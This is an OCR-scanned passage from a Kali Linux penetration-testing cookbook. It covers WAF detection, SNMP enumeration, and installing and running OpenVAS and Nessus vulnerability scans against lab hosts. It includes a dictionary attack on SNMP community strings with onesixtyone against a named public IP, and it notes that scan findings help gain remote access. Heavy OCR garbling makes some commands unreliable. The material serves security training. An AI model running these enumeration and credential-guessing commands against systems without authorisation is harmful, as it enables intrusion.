[ VV//ol/ TNV /re/rets 7
T W BT L T

<

WAFWOOF - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique

Checking http://example.uk

Generic Detection results:

The site http://example.uk seems to be behind a WAF or some sort of security solution

Reason: The server header is different when an attack is detected.

The server header for a normal response is "Apache/2.2.3 (Cent0S)", while the server header a response
to an attack is "Apache.",

Number of requests: 12

wafw00f - example.uk
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Using SNMP to gather more information

We can use hosts that we identified through nmap as having open SNMP ports or
services running, to try and gather more information.

The Simple Network Management Protocol (SNMP) is a protocol used to provide
status and configuration for various devices including servers, workstations, network
appliances, 10T devices, and other hosts. This protocol provides both a read-only and
read-write functionality. Quite often, devices have been deployed with read-only
available by default. Network administrators will often enable read-write access for
management purposes. The default passwords for SNMP on many devices is public for
a read-only access and private for a read-write access. There are three types of
SNMPs. While version 1 has been mostly deprecated, version 2 is still quite common,
and version 3 is gaining in use due to it's better security and authentication system. We
will focus on version 2 for this testing
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root
e Validate internet connectivity
e Resolve the IP address of deno. snmp1abs. com (at the time of the writing this book, it

Wwas 104.236.166. 95)
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How to do it...

1. Open the terminal screen by clicking on the terminal icon on the top-left corner:

2. From the main terminal screen, you should be at a Command Prompt of rootexaii:~#.

3. Perform a simple scan of the target device using snmp-check. By default, many SNMP
implementation uses public and private as default SNMP passwords. If we know
the password or can guess it, we can substitute it for the default puv1ic in the
following command:

| snmp-check -v2c -c public 104.236.166.95

4. Looking at the output we see a significant amount of information was displayed
about the host. There is network interface information, routing information,
services running and TCP/UDP ports open, as well as a variety of system

information:
Interface :[u ] lo
Id - |
Mac Address F st
Type : softwareLoopback
Speed : 10 Mbps
MTU 1 16436
In octets : 4294967295
Out octets : 4294967295
Interface : [ up ] ethe
Id : 2
Mac Address 1 00:12:79:62:79:40
Type : ethernet-csmacd
Speed : 188 Mbps
MTU : 1500
In octets : 4294967295
Out octets : 4294967295

[*] Network IP:

Id IP Address Netmask Broadcast
1 127.0.0.1 255.0.0.0 [:]
2 195.218.254.1605 255.255.255.0 1

[*] Routing information:

Destination Next hop Mask Metric
0.0.0.0 195.218.254.97 0.0.0.0 3
127.0.0.0 0.0.0.0 255.0.0.0 1]
195.218.254.8 0.0.0.0 255.255.255.0 2]

[*] TCP connections and listening ports:

snmp-check - command output

5. Inthe case where we may not know the credentials used for SNMP, we can attempt
to use a dictionary attack against the host to guess the credentials using onesixtyone:
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| onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 104.236.166.95

6. You will notice the output from the commands show that both public and private
are available for the host. We used the built in dictionary file provided with
onesixtyone. It's important to note that this only has a few potential passwords in it:

root@kali:/# onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 104.236.166.95

Scanning 1 hosts, 49 communities

104.236.166.95 [private] Linux zeus 4.8.6.5-smp #2 SMP Sun Nov 13 14:58:11 CDT 2016 1686
104.236.166.95 [public] Linux zeus 4.8.6.5-smp #2 SMP Sun Nov 13 14:58:11 CDT 2016 i686

onesixtyone - command output

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

There's more...

There are a variety of dictionary files that provide more complete password lists that
will give you an increased chance of discovering the appropriate passwords for the host
in question. Check out https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous.

www.hellodigi.ir


https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous
https://technet24.ir
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

Vulnerability Analysis

In this chapter, we will cover the following topics:

Installation and configuration of OpenVAS

A basic vulnerability scanning with OpenVAS
Advanced vulnerability scanning with OpenVAS
Installation and Configuration of Nessus

A basic vulnerability scanning with Nessus
Advanced vulnerability scanning with Nessus
The installation and configuration of Nexpose
Basic vulnerability scanning with Nexpose
Advanced vulnerability scanning with Nexpose
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Introduction

Once access to a network has been gained and the systems within that network have
been identified, the next step is establishing a foothold and persistent access. There are
several tools that are available to help identify and exploit systemic vulnerabilities, but
we will be focusing only on three of them in this chapter:

° OpenVAS (http://www.openvas.org)
e Nessus (https//Www.tenable.com/products/nessus-vuhlerabi]jty-scanner)
° Nexpose (https://Www.rapid7.com/info/nexpose-community/)
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Installation and configuration of
OpenVAS

Since the default Kali Linux media does not include OpenVAS with the initial
installation, we will need to perform a full, fresh installation. This is done from the
console or over a remote connection.

OpenVAS is an open source vulnerability management platform that was created as a
fork of the venerable Nessus platform when Tenable Network Security moved Nessus to
a closed source (initially named GNessUs). Over time, the OpenVAS framework
became part of the Greenbone Network's commercial vulnerability management
solution. Greenbone continues to contribute to OpenVAS, ensuring that it stays up to date
and relevant.

Considering that OpenVAS is accessible through a web browser as well as the
command line, it is a very powerful tool that can be leveraged either locally through the
command line or a browser, or it can be put in place in a central location and used by
other devices on the network.
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Getting ready

In order to be able to complete this section, you will need this:

e Console access to your Kali Linux system
¢ Internet access to download and install OpenVAS application
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How to do it...

We will perform the steps necessary to install OpenVAS on Kali:

1. If you have not fully updated your Kali Linux installation, you will want to do so
now. From the root shell, run the following command. If there are many updates,
this may take a while, but be patient. Once the update process is complete, reboot
the system, login, and open a root shell again:

| apt-get update && apt-get dist-upgrade -y
2. From the root shell, use apt-get to download and install OpenVAS:

| apt-get install openvas

3. Once the installation is complete, run the following from the root shell to kick off
the setup process. Due to the amount of data needed, it is likely this will take a
while even over a fast connection, so be prepared to wait:

| openvas-setup

4. At the end of this process, you will see the admin password displayed. Write this
down so that you are able to log into the OpenVAS portal.

command line using the following;

openvasmd --user=admin --new-password=[your password here]

8 In the event where you forget this password, it can be reset from the
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A basic vulnerability scanning
with OpenVAS

Once installed, OpenVAS provides a centralized platform that can be used from any
browser-based system or from the command line. Because OpenVAS is a security
analysis tool, it will be looking at the systems in this environment to identify services
and vulnerabilities, so ensure that you are prepared for potential impacts. Even the most
careful and the least impact scans can potentially affect services.
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Getting ready

In order to be able to complete this section, you will need the following steps
completed:

OpenVAS successfully installed and configured on your Kali Linux system

Access to the Kali system, either from the desktop or a browser

Network access to the systems that were configured as part of the lab discussion in
the earlier sections

You will need to confirm the IP address of your lab network and be able to ping
hosts on it
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How to do it...

We will perform a basic vulnerability scan using OpenVAS:

1. Connect to the OpenVAS service on the Kali Linux system by opening a browser
and navigating to neeps://(your kali 1P]:9392; accept the certificate security warning,
and create an exception for the invalid certificate.

2. To prepare a more permanent implementation, create a new user that is unique to
your use. From the dashboard, navigate to Administration | Users. You will see the
list of configured users (in this case, since this is a default installation, there should
only be Admin). Under Actions for the user admin, click on Clone.

3. Once cloned, you will be taken to the new account overview page. Click on the
Edit User option in the upper-left part to edit the details for this user. You will be
able to set the username, as well as permissions. Give the new user an appropriate
name and reset the password to something you will remember in the future
eXercises.

In larger environments where LDAP is available, you can also connect
OpenVAS to these repositories to leverage a centralized account
management. To enable this, navigate to Administration | LDAP and
configure the connection information that is necessary to connect to these
repositories.

4. Once connected to the OpenVAS system, click on the Scans | Tasks link from the
top menu bar. Once the page loads, you should be immediately presented with an
initial scan wizard. This will help you kick off the very first scan you will run,
which we will run against our first Windows 7 host.

5. With the Task Wizard window open, enter the IP address of your lab network. In
this case, add 192.168.56.0/24 Into the textbox, and initiate the scan by clicking on
Start Scanning:
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Quick start: Immediately scan an IP address
IP address or hostname:
[192.168.56.0!24 ]

The default address is either your computer or your network gateway.
As A short-cut | will do the following for you:

1. Create a new Target

2. Create a new Task

3. Start this scan task right away

4. Switch the view to reload every 30 seconds so you can lean back and watch the scan progress

In fact, you must not lean back. As soon as the scan progress is beyond 1%, you can already jump
into the scan report via the link in the Reports Total column and review the results collected so far

When creating the Target and Task | will use the defaults as configured in "My Settings”.

By clicking the New Task icon bkl you can create a new Task yoursel.

Task Wizard to initial a scan

6. After the scan is initiated, you will see a list of tasks, one of which is the scan we
just created:

‘l/JTasks (1 of 1) ]

- Tasks by Severity Class (Total: 1) ~ Tasks with most High results per host - Tasks by status (Total: 1)

N/A B Running

N

No Tasks with High severity found
\ 1 /

LS ) 1-1 1 e et
.
Severity @ | Trend
N

Immediate scan of IP 192.168.56.101 i/ 0(1 ODEECO

List of running tasks

7. While the scan is running, you should familiarize yourself with the action icons
available, as they can be used to archive task configurations to move to other
systems, clone to create a copy, and so on.

8. Once the scan is completed, you should see a change in the dashboard view to
something that looks similar to the following:
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- J
V) 7asks (1 of 1) =
- Tasks by Severity Class (Total: 1) = Tasks with most High results per host - Tasks by status (Totalk 1)

M High ] Done

Immediate scan of IP 1!2! °

0.00.20.40.60.81.0

Reports S ity @ | trena
ever ren
N
Immediate scan of IP 192.168.56.101 1(1) Jun52017 [ S 3 High) | CODEECO
B33

Task dashboard after mitial scan

9. Click on the date of the scan to see the results of the scan:

O G2co8aid $00d- Sobf 8807 1049553 3506
|q Madifiod: Man Jun S 15:32.04 2017
- . Created Mon Jun % 152101 2017
Y ~Report: Results (3 of 15) e o
e um
Micrasaft Windows SMB Server Multiple Vuinerabilities-Remote (4013389) 95% 192.168.56.101 445/tcp
DCE Services Enumeration Reporting ] | ) | 80%  192.168.56.101 135/tcp & .

TCP timestamps L L. 80% 192.168.56.101 generalitcp *

Scan result report

10. There are some important things to note in the initial report. First, you will see that
OpenVAS i1s only showing you three of the identified 15 vulnerabilities. While this
may seem unusual, it is necessary to understand how OpenVAS displays its results
through the default filter. The field named Quality of Detection (QoD) stands for
an indication of how trustworthy the results of a particular scan maybe. To
demonstrate this fact, click on the vulnerability with the highest QoD:
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TR, STy

JResuIt: Microsoft Windows SMB Server Multiple Vulnerabilities-Remote
(4013389)

ummm

Microsoft Windows SMB Server Multiple Vulnerabilities-
Remate (4013389) @ 95% 192.168.56.101 445ftcp

Summary
This host is missing a critical security update according to Microsoft Bulletin M517-010.

Vulnerability Detection Result
Vulnerability was detected according to the Vulnerability Detection Method.

Impact

Successful exploitation will allow remote attackers to gain the ability to execute code on the target server, also could lead to information disclosure
from the server.

Impact Level: System

Solution

Solution type: s VendorFix

Run Windows Update and update the listed hotfixes or download and update mentioned hotfixes in the advisory from the below link,
https:/ftechnet.microsoft.com/library/security/MS17-010

Affected Software/05

Microsoft Windows 10 x32/x64 Edition Microseft Windows Server 2012 Edition Microsoft Windows Server 2016 Microsoft Windows 8.1 x32/x&4 Edition
Microsoft Windows Senver 2012 R2 Edition Microsoft Windows 7 x32/x64 Edition Service Pack 1 Microsoft Windows Vista x32/x64 Edition Service Pack 2
Microsoft Windows Senver 2008 R2 x64 Edition Service Pack 1 Microsoft Windows Server 2008 x32/x64 Edition Service Pack 2

Vulnerability Insight
Multiple flaws exist due to the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests.

Vulnerability Detection Method

Send the crafted SMB transaction request with fid = 0 and check the response to confirm the vulnerability.

Details: Microsoft Windows SMEB Server Multiple Vulnerabilities-Remote (4013389) (0/1D: 1.3.6.1.4.1.25623.1.0.810676)
Version used: $Revision: 5866 5

Vulnerability details

11. As you can see, the QoD for this check is 95%, meaning that the ability to
determine a host's exposure to this vulnerability is quite high. In looking through
the details of the check, you can also see that this is a potentially damaging
vulnerability—this vulnerability requires a vendor-supplied fix, has a very wide
distribution of affected platforms, and the result of a successful exploitation results
in remote code execution (RCE). The combination of these factors results in the
severity to be calculated as a 9.3 out of 10 (HIGH).

This particular vulnerability was used by the WannaCry ransomware
campaign that occurred in May 2017. Additional fields of interest are the
manner in which the vulnerability was detected, and the information
necessary to get more detailed information, including vendor-specific
patch information as well as CVE/BID/CERT information.

12. Using the information contained in this report will help to determine the system's
level of risk to some known vulnerabilities and insecure configurations. If you
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would like more detail, such as identified vulnerabilities that are below the default
QoD of 70%, you may customize the filter in the upper portion of the report screen:

Filter: |

Apply overrides: [ |
Auto-FP: @'Tn.l st vendor secunity updates
aFuIIC‘u’E match (7 Partial CVE match

QoD:  must be at least L I ]
Severity (Class): || IGENE [ I [ | [ |
First result: [1 |“ |

-

Results per page: [1.3 ‘l

Sorthy: | Seventy » | (Ciascending @ Descending

Customize filtered view

13. At the far right in the Actions column, you can see some very useful options. The
Add Note allows you to add additional narrative to the reports to add context,
document additional or relevant findings, and so on. The Add Override option
allows you to override a particular finding, with fields for where this is permitted,
which hosts, duration of the override, and the new severity (overrides are
frequently used to designate a false positive severity):
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Location
Severity
New Severity
Task

Result

Text

Microsoft Windows SME Sernver Multiple Vulnerabilities-Remote (4013389) A

.yes. ahways
Oyes, forthe next (30 days

(’:jrlu
(yAny @E192.168.56.101

(yAny @ 445hep
,:‘j.ﬂmz.r .;, 0.0
.I False Paositive - | (*)Other: |

(T Any @ Immediate%:20scan®200f%201P%20192.168.56.101

@& Any () Only the selected one (d37h0618-5ede-4a06-895b-492020ddahh)
I

[creste |

Each report contains documented vulnerabilities that can be used in

conjunction with other tools (such as Metasploit) to successfully gain
access to a target system. This information must be treated with care.
Ensure that the installation of OpenVAS is secured, and that the service is

not left running when not in immediate use.
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Advanced vulnerability scanning with
OpenVAS

Vulnerability identification through unauthenticated network scanning is a good way to
start gathering intelligence on a network, but a powerful component of this is the ability
to perform more frequent, targeted scans, and this can include credentials that allow for
the successful authentication to a target system for deeper level evaluations.

Features that make OpenVAS more powerful include highly configurable scan
configurations, scheduled tasks, automated reporting, and alerting.

Aside from the default scan configurations that are present in the OpenVAS dashboard, it
also contains some very flexible options, including scheduled scans and customized
scan types. We will be looking at customized scan configurations.
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Getting ready

In order to complete this section, you will need the following;

OpenVAS successfully installed and configured on your Kali Linux system

Access to the Kali system, either from the desktop or a browser

Network access to the systems that were configured as part of the lab discussion in
earlier sections.

You will need to confirm the IP address of the desktop target1.xa1icookbook.10cal
Successfully ping target1.xalicookbook.10ca1 from the Kali Linux system
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How to do it...

Let's begin our advanced scanning techniques using OpenVAS:

1. To prepare to configure more in-depth scans, we will start with adding credentials
we may be aware of. When credentials are known, we will be able to do much
deeper levels of evaluation. Navigate to Configuration | Credentials. In the upper-
left part, click on the New Credential icon to bring up the New Credential dialog
box. Configure as follows, using a domain user from your lab domain:

I Mame Domain User - Liserl

T e NN

Comment
Type Usemame + Password ¥

Allow insecure @Yﬁs Ty Mo
use

Auto-generate y¥es @ Mo
Username userl|

Password

| Create |

New Credential dialog

not only be used for authentication but also identification of all places

8 As new accounts are discovered, they should be added to this section to
where they are used — a password reuse is very common.

2. The next section we will configure will be the selection of targets. Navigate to
Configuration | Targets. On this page, you will see some existing target sets,
including the automatically generated ones used in the quick start wizard. Click on
the New Target icon to create a new one. Use the following configuration:
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Mame | Intemal Metwark | .
Comment [ |
@® wmanual [192.168 56 0/24 ]
Hasts O From file | Browse.. | No file selected.
Exclude Hosts [
Reverse Lookup Only ) Yes @ no
Reverse Lookup Unify ) Yes @ no
Port List ALIANA assigned TCP .~ |
Alve Test | Scan Eonflg Defaul T |
Credentials for authenticated checks -
S5H oA ..'...D" port (22 : | el
SME | Damain User - Usarl | .
Configure New Target

3. Now that the target environment and known credentials are configured, we will
take a look at the actual scan configuration. Navigate to Configuration | Scan

Configs. The following scans are typical for a fresh installation:

@Scan Configs (8 of 8)
N‘IJ'Ts inns l_”d

Discovery B s P
{Network Discovery scan configuration.) 3 & 103 L] EfEEE
empty = , P -5
{Empty and static configuration template.) 0 Wd O = EEEE3E
Full and fast E s P
[Most NVT's; optimized by using previcusly collected information.) &0 G san [ EfEiaE
Full and fast ultimate ]

(Most NVT's including those that can stop services/hosts; optimized by using previously collected 60 [ 40l B EEEEaE]
informatien.)

Full and very deep 52 ~ B Y

[Most NVT's; don't trust previously collected information; slow.) 60 [ sS40l [ EEERIE
Full and very deep ultimate =

[I;l"lns’; MVT's including those that can stop services/hosts; don't trust previously collected information; 60 [ 54401 B EIEEEL
slow.

Host Discovery = - ——
[Metwork Host Discovery scan configuration.) . - 2 o ElEEE3E
System Discovery ] ; = PR
(Metwork System Discovery scan configuration.) B d 20 =~ B

List of scan configurations
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4. One thing you will notice is that scans can have the same number of NVT's, but
have a higher or lower likelihood of causing services to stop. Also, scans can
reference and leverage data from previous runs. To get a better idea, find the full
and fast scan configuration, and click on Clone under the Actions column. When the
new configuration is presented, click on the Edit icon, and give the scan a more
meaningful name. Review the settings to get a better understanding of how the scan
1s configured:

Name |Kali Cookboaok
Comment [Most NVT's; optimized by using previous! |

Edit Network Vulnerability Test Families e

Family"f"'..' NVTs selected Select all NVTs

AlX Local Secunty Checks lofl @M_ [ = | @' ]
Amazon Linux Local Secunity Checks 748 of 748 ﬂ_,,_u () "]
Brute force atiacks 9ofd L7 (@]~ & ]
Buffer overflow 553 of 553 L 7 @]=] & ]
cisco 606 of 608 Lo & ]
CentOS Local Secunty Checks 2904 of 2904 ® bl & ]
=+ | = L~} r

Scan configuration

The Fast and Full Scan is the configuration we used for our scan in the
0 previous section. Despite how quickly the scan runs, it contains a lot of
NVTs, demonstrating the speed of OpenVAS.

5. We will now put these three components — target, credentials, and a scan
configuration together to create a task. Navigate to Scans | Tasks, and click on the
New Task icon. Once opened, enter the following information:

Name: Scan for vulnerabilities

Scan targets: Internal network

Click on the star at the end of the schedule line, and create a new schedule
Scan config: Kali Cookbook

Leave all other options default, then click on Save
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MNew Schedule

Mame Weekly Vulnerability Scan|
Comment

First Time  Monday, 7 August, 2017 =l at (3 H h |50 H'm

Timezone | Coordinated Universal Time = |

Pednd ek 7]
Duration | hour(s) v |

=

6. From this point forward, a weekly, deep vulnerability scan will be run, and a
report will be generated for review. Multiple scheduled runs can be configured as
necessary, with email notifications sent at their completion.

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

Installation and Configuration of Nessus

Nessus is one of the most widely used penetration testing platforms in the industry It
used to come pre-installed in Kali up until recent releases. It is sold as a commercial
product by Tenable, but we will be using the home edition, which will allow us to
perform scanning on a limited number of IPs and gain the knowledge we need to use the
tool fully.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root
e Validate the internet connectivity
e Ensure you have recently done the updates and upgrades to Kali
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How to do it...

We will perform Nessus setup and initial configuration:

1. We must first register for an account by going to the following website https//www.ten
able.com/products/nessus-home and register for an activation code:

"

Nessus Home | Tenable™ - Mozilla Firefox 00

_ j;" O Nessus Home | Tena.. X | +
€ | ©® | www.tenable.com/products/nessus-home El| ¢ ||Q Search vE ¥4 @ =
i Most Visitedv [ Offensive Security \, Kali Linux \, Kali Docs \Kali Tools % Exploit-DB WAircrack-ng glKali Forums \ NetHunter »

{A;}ﬁtenable Cyber Exposure  Products Services Company Partners Blog Login Try/Buy
Q;jf '

Nessus® Home allows you to scan your personal home network (up to 16 |P addresses

per scanner) with the same high-speed, in-depth assessments and agentless scanning Register for an Activation
convenience that Nessus subscribers enjoy. Code
Please note that Nessus Homk does not provide access to support, allow you to FirstName*  LastName *

perform compliance checks or content audits, or allow you to use the Nessus virtual
appliance. If you require support and these additional features, please purchase a

Nessus subscription. Email *

Nessus Home is available for personal use in a home environment only. It is not for

use by any commercial organization.
| Check to receive updates from
Tenable

Tenable registration website

2. Once you register you will be shown a Download link - select it:
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Thank You for Registering for Nessus Home! | Tenable™ - Mozilla Firefox e ® 0

J © Thank You for Registe... x "'k-l-

-Z'(-::-_@_|_wwwtenabl.e.com{_products#nessus!nessus_:p_:lu_g_!_nsIthank-fou-for-re_q_lste e O: Search _ B ¥+ # =
{51 Most Visiteds [l Offensive Security " Kali Linux "%, Kali Docs "\ Kali Tools ® Exploit-DB WyAircrack-ng gllKali Forums "\ NetHunter »

h
@tenable Cyber Exposure Products Services Company Partners Blog Login Try/Buy

Thank You for Registering for Nessus Home!

Check Your Email for the Activation Code

Thank you for registering for Nessus® Home. An email containing your activation code

has been sent to you at the email address you provided. Download Nessus
: : f . ; To download Nessus, visit the
Please note that Nessus Home is available for non-commercial, home use only. If you Nessus Download page.

will use Nessus at your place of business, you must purchase a Nessus subscription.

Tenable nessus download screen

3. Select the appropriate download Linux for your Kali distribution in our case we
will be downloading the 64 bit version:
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Please Select Your Operating System

* Microsoft Windows

Debian 6, 7, 8 / Kali Linux 1 AMD64
File: Nessus-6.11.1-debian6_amd64.deb
MD5: 57dd86eea8cabcdal22351c44410

Debian 6,7, 8 / Kali Linux 1 |386{32 bit)
File: Nessus-6.11.1-debian6

MDS: 2576e4b4safed54a5f51c

6beaa8cb

Red Hat ES 5 (64-bit) / Cent0S 5 / Oracle Linux 5 (including
Unbreakable Enterprise Kernel)
File: Nessus-6.11.1-es5.x86_64.rf

=

Download Nessus | Tenable™ - Mozilla Firefox e 0 O
! Download Nessus | T.. %\ +
€ | ® | www.tenable.com/products/nessus/select-your-operating-systemitdo  EJ | €@ \ Search T 8a % # =
{5 Most Visited~ [IlOffensive Security " Kali Linux "% Kali Docs " Kali Tools = Exploit-DB W Aircrack-ng gllKali Forums e, NetHunter »
(Utenable  oove : rarners

' macos acro ultiple scanners, use wizards to easily and quickly
_ cr olicies, schedule scans and send results via email.
Ne upports more technologies than any other vendor,

including operating systems, network devices, hypervisors,

Market Deﬁrurlg Vulnerablllty Scanning

s the most trusted vulnerability scanning platform for

d security analysts. Users can schedule scans

tablets/phones, web servers and critical

tructure.
tures include:
¢ High-Speed Asset Discovery

essment

et Detection

on & Compliance ﬁ.udltmg

g & Auditing of Virtualized & Cloud Platforms

MD5: fc94f08d37004dade1df26680b98d17e

Red Hat ES 5 i386(32-bit) / centos 5 / Oracle Linux 5
(including Unbreakable Enterprise Kernel) I

Tenable Nessus OS screen selection

4. On the subscription agreement screen check the box to accept the terms of service
and click Download. Then click Save File:

Opening Nessus-6.11.1-debian6_amd64.deb (> ]

You have chosen to open:
= Nessus-6.11.1-debian6_amd64.deb

which is: Debian package (48.6 MB)
from: https://downloads.nessus.org

Would you like to save this file?

, Cancel H Save File

Nessus file download screen

5. Open a terminal window and enter the following commands:

cd ~/Downloads <enter>
dpkg -i Nessus-6.11.1-debian6_amdé64.deb <enter>
service nessusd start <enter>

6. Launch your web browser by clicking the Firefox icon:
7. Open the following page: nttps://10cainost:8834. You will be brought to a screen
saying where your connection is not secure. Click on Advanced, select Add

Exception..., and select Confirm Security Exception:
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Insecure Connection - Mozilla Firefox 000

| nsecure Comection % | #

(-_ i) | hitps:/Mlocalhost 8834 G| Q Search | f! B0 ¢ & =
B Most Visited v [l Offensive Security "\ Kali Linux "\ Kali Docs N\ Kali Tools # Exploit-DB W Aircrack-ng

# Your connection is not secure

The owner of localhost has confiqured their website improperly. To protect
your infermation from being stolen, Firefox has not connected to this website,

Learn more...

(o Back - Advanced

localhost:8834 uses an invalid security certificate.

The certificate is not trusted becaus the issuer certificate is unknown,
The server might not be sending thelppmpriate intermediate certificates.
An additional root certificate may need to be imported.

The certificate is only valikfor kali

Error code; SEC_ERROR .UNKNOWN_ISSUER

Add Exception...

Firefox - certificate warning screen

8. From the welcome to Nessus screen, click on Continue.
9. You will be asked to create a local account. For our purposes, we will use the
username of the admin, select and use a good password, and select Continue:
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Nessus / Setup - Mozilla Firefox (- IO ]

|/ @ Nessus / Setup x|+

€ (OR, | hitps://localhost BR34/%/ @ ||Q Search vEeE ¥ & =
i Most Visitedv  [llOffensive Security ", Kali Linux % Kali Docs "\ Kali Tools = Exploit-DB WAircrack-ng gl Kali Forums % NetHunter »
Account Setup Nessus{)

In order o use this scanner, an administrative account must be created. This user has full control of the
scanner—with the abllity lo create/delete users, slop running scans, and change the scanner configuration,

Usemame admin

Password sesssanes

Nessus - account setup screen

10. Check your email and enter your Activation Code and select Continue:
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Registration D Nessus

As new vulnerabilities are discovered and released into the public domain, Tenable's research staff creates plugins that
allow Nessus to detect their presence. These plugins contain vulnerability information, algorithms to test for the

presence of the issue, and a set of remediation actlons. Registering this scanner will grant you access to download
these plugins.

Registration Nessus (Home, Professional or Manager) w

Activation Code = = —

q[gntlnue Back Advanced Settings

Nessus - registration screen

11. You will be brought to a Nessus splash screen, and it will begin downloading and
initializing other setup functions.

This process will take several minutes to perform so please
be patient. While you are waiting for the initialization process to
complete, you can go ahead and create a bookmark for Nessus.

12. You will now be brought to the main login screen; enter the username and
password previously created and select Sign In.

13. Let's validate that Nessus is up to date - from the main screen, select the Gear icon
and click on it.

14. From the Scanners menu, select Software Update and click on Manual Software
Update.

15. From the Manual Software Update screen, select Update all components and click
on Continue:
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Manual Software Update

® Update all components
Update plugins

Upload archive

https://localhost:8834/#

Nessus - manual software update screen

Wait a couple of minutes because when the updates complete, the interface
may restart and you may be brought back to a login screen.

16. Ensure Automatic Updates is enabled, specify Update Frequency, and click
on Save:
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Policies admin

Seﬂings Manual Software Update
Scanners Accounts Communication Advanced

LocAL Software Update

Overview

Software Update Automatic Updates

® Update all components

GLOBAL
Custom CA Update plugins k
Disabled
Update Frequency Daily -
Plugin Feed

Nessus - automatic updates screen

To save resources when you are not using Nessus, you can stop the service
by closing the browser and selecting Applications | Vulnerability
Analysis | Nessus stop.
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A basic vulnerability scanning with
Nessus

We will perform some basic vulnerability scans against our network to see if they have
any known issues or weaknesses with Nessus.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root
e Start the Metasploitable virtual machine
e Ensure you have completed the setup of Nessus, Nessus is started, and you are at

the main screen after logging in
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How to do it...

We will now perform our vulnerability scan using Nessus:

1. Although we already have our targets from previous exercises, we will perform a
basic host discovery to start. Select New Scan:

2. From the Scanner Templates screen, select Host Discovery.
3. Inthe Name field, add a descriptive name and specify your targets. In this case, we
are going to specify our test network of 192.165.56.0/24 and select Save:

BASIC v General
General
Schadulé Name Host Discovery 192.168.56.0/24
Notifications
Description
DISCOVERY
REPORT
Folder My Scans -
Targets 192.168.56.0/24
Upload Targets Add File
L3

Nessus - host discovery screen

4. From the My Scans screen, select the newly created scan and press the launch
button on the right. The scan will take a couple of minutes to perform. While it is
running, you will see a green circular icon.

While this scan is running, you can create other scans and start them as
9 well. So, you don't have to wait for a scan to finish to move on.
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5. Once the scan is complete, you will see a check mark in the scan screen, and you
can click on it to review the results. From our results, you will see that a number of
hosts are responding:

Policies admin
Host Discovery 192.168.56... Configure  Audit Trall Launch = Export v -
Scans » Hosts n Vulnerabllities History
Host ulnerabilities » Scan Details
Status: Completed
Scanner: Local Scanner
Start: Today at 6:47 PM
19216050102 —— oy alss0Pm
Elapsed: 3 minutes
Targets: 192.168.56.0/24
Vulnerabilities

Nessus - host discovery results

6. To perform a basic scan against our Metasploitable VM at 192.165.56.101, we will
select Scans from the top menu, New Scan, and select Basic Network Scan.

7. In the Name field, add a descriptive name; and for targets, use the IP of your
Metasploitable machine. Click on Save, then launch the scan:
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BASIC v General

General

Schedul Narme Basic Scan 192.168.56.101
SCheaule
Motifications
Description
DISCOVERY
ASSESSMENT
REPORT Folder My Scans -
ADVANCED
Targets 192.168.56.101
Upload Targets Add File
Safe - Cancel

Nessus - basic network scan

8. This scan will take several minutes to complete, but once done, we can select the
scan to view the results. You will notice we have discovered several
vulnerabilities:
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Policies admin

Basic Scan 192.168.56.101 Configure | Audit Trall Launch = Expot v v
Scans » Hosls . Vulnerabilities s Remediations History
Host Vulnerabilities = Scan Details

Status: Completed
Policy: Basic Network Scan
Scanner: Local Scanner
Folder: My Scans
Start: Today at 6:51 PM
End: Today at 6:56 PM
Elapsed: 5 minutes
Targets: 192.168.56.101
Vuinerabilities

Nessus - basic network scan results

9. To take a closer look, select Vulnerabilities at the top. From here, you will have a
more detailed view of the vulnerabilities in the order of severity. Scroll through
the list and take a look at all the data presented:
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Policies

admin

Basic Scan 192.168.56.101 Configure | Audit Tral
Scans > Hosts Vulnerabilites [}  Remediations History
Severity a Plugin Name

CRITICAL Debian OpenSSH/OpenSSL Package Random Number Generator ...

CRITICAL Deblan OpenS5H/OpenSSL Package Random Number Generator ...

CRITICAL rexecd Service Detection

CRITICAL Rogue Shell Backdoor Detection
ik

=0

CRITICAL Unix Operating System Unsupported Version Detection

CRITICAL VNC Server ‘password' Password

rlogin Service Detection

A

Unsupported Web Server Detection

Launch +

Count

Expot ~ v
Scan Details

Name: Basic Scan 192.168.56.101
Status: Completed

Policy: Basic Network Scan
Scanner: Local Scanner

Folder: My Scans

Start: Today at 6:51 PM

End: Today at 6:56 PM

Elapsed: 5 minutes

Targets: 192.168.56.101
Vuinerabilities

@ Critical
/ @ High

Medium
® Low
Info

Nessus - basic scan results - vulnerabilities list

10. Let's click on the VNC server vulnerability to get some more specific information
about that vulnerability. This provides us with a lot of information that we can use

later to gain remote access to the host:
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|‘} N essus Scans Policies admin

Basic Scan 192.168.56.101 Configure | Audit Tral Launch ~ Export v
Scans > Hosts Vulnerabilities Remediations History
Sets VNC Server 'password' Password Plugin Details
Lo Severity: Critical
Description d
[ 61708
The VNC server running on the remote host Is secured with a weak password. Nessus was able to login Version: $Revision: 1.2 §
using VNG authentication and a password of password’. A remote, unauthenticated attacker could explolt Type: R
this to take control of the system. :
Family: Gain a shell remotely
Published: 2012/08/29
Solution Modified: 2015/09/24
Secure the VNC service with a strong password.
i R Risk Information
Output
Risk Factor: Critical
Nessus logged in using a password of "password”. CVSS Base Score: 10.0
CVSS Vector. CVSS2#AVINACILUAUN/C:C
Port.® Hosts :CGIA:C
5900 / top / vne 192.168.56.101

Vulnerability Information

Nessus - VNC vulnerability details

Take some time to go through several of the vulnerabilities, and explore
the information provided. Also, try running scans against other devices

you have authorization to do so. These could be devices and computers
on your personal network or other test hosts you may have installed.
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Advanced vulnerability scanning with
Nessus

We will now create a more in-depth scan where we will modify some of the parameters
of a scan to include other, more targeted testing using Nessus. What we would hope to
see 1s better and more complete results of the target host in question. This will give you
a base level of understanding to customize your scans.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root
e Start the Metasploitable virtual machine
